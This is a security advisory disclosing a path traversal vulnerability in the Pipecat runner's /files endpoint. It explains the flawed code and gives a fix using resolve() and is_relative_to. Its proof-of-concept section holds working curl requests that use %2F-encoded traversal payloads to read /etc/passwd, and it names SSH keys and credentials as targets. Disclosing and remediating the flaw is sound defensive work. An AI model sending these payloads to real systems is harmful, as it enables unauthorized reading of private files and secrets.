Description

Pipecat: Path Traversal in Pipecat Runner /files Endpoint — Arbitrary File Read via %2F-Encoded Separator

Summary

A path traversal vulnerability exists in Pipecat's development runner (src/pipecat/runner/run.py). When the runner is started with the --folder flag, it exposes a GET /files/{filename:path} download endpoint. The filename path parameter is concatenated directly onto args.folder with no containment check. Starlette normalises literal ../ sequences in URLs, but %2F-encoded slashes bypass this normalisation: the path parameter is URL-decoded after routing, so ..%2F..%2Fetc%2Fpasswd resolves to a path two levels above args.folder. An attacker with network access to the runner can read any file the pipecat process has permission to access — including SSH private keys, credentials, and system files — with a single unauthenticated HTTP request.

Confirmed on pipecat-ai 1.1.0 (latest PyPI release) and commit f078df78058ae82a02ce5b23e9e3a99a0917a53d.

Details

The vulnerable code is in src/pipecat/runner/run.py, inside the _configure_server_app() function, lines 249–264:

@app.get("/files/{filename:path}")
async def download_file(filename: str):
    """Handle file downloads."""
    if not args.folder:
        logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
        return

    file_path = Path(args.folder) / filename          # ← no containment check...
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Path(args.folder) / filename joins the caller-supplied filename onto the base directory without calling .resolve() or checking is_relative_to. Python's pathlib does not strip .. segments during join — only .resolve() does. Starlette strips literal ../ from the URL path before the route handler runs, but it decodes percent-encoded characters inside the matched path parameter value. Because %2F decodes to / after the router has already matched the route, the value that reaches filename can contain / characters, enabling directory traversal.

For example:

GET /files/..%2F..%2Fetc%2Fpasswd
                   ↓
filename = "../../etc/passwd"          (after Starlette decodes %2F)
file_path = Path("/tmp/media") / "../../etc/passwd"
          = Path("/tmp/media/../../etc/passwd")
          → resolves to /etc/passwd    (os.path.exists returns True)

The endpoint has no authentication — the runner does not implement any auth layer — so the request requires no credentials.

Proof of Concept

Step 1 — Start the Pipecat runner with --folder

The runner requires a bot script with a bot() entry point. A minimal script that keeps the HTTP server alive without any transport logic:

# minimal_bot.py
async def bot(runner_args):
    import asyncio
    await asyncio.sleep(86400)

if __name__ == "__main__":
    from pipecat.runner.run import main
    main()...
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Start the runner:

pip install "pipecat-ai[runner,webrtc]"

mkdir /tmp/bot_media
echo "session transcript" > /tmp/bot_media/recording.txt

python minimal_bot.py \
    -t webrtc \
    --host 127.0.0.1 \...
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Expected output:

Step 2 — Exploit

# Legitimate request — serves a file inside --folder
curl "http://127.0.0.1:7860/files/recording.txt"

# Literal ../ — blocked by Starlette path normalisation
curl "http://127.0.0.1:7860/files/../../etc/passwd"

# %2F-encoded separators — bypass normalisation, read /etc/passwd
curl "http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd"...
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Confirmed results (pipecat-ai 1.1.0, tested 2026-04-29)

Impact

The --folder flag is a documented, first-class feature of the runner: the runner_downloads_folder() helper and -f / --folder CLI argument are part of the public API. The runner documentation includes LAN-deployment examples (--host 192.168.1.100 for ESP32 integration). In those deployments, any host on the local network can exploit this with zero credentials.

An attacker who can reach the runner port and knows --folder is active can retrieve any file readable by the pipecat process:

SSH private keys and TLS certificates

.env files and application credentials

Database files, session tokens, API keys

System files such as /etc/passwd and /etc/shadow (on Linux)

Source code, config files, and secrets in parent directories of --folder

Remediation

Call .resolve() on both the base path and the joined path, then assert containment with is_relative_to:

@app.get("/files/{filename:path}")
async def download_file(filename: str):
    if not args.folder:
        logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
        return

    allowed_base = Path(args.folder).resolve()
    file_path = (allowed_base / filename).resolve()   # resolve AFTER join...
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Path.resolve() expands all .. components and follows symlinks before is_relative_to compares the paths, so neither %2F-encoded separators nor symlink chains can escape the allowed base.

Mitigation

Aliases

References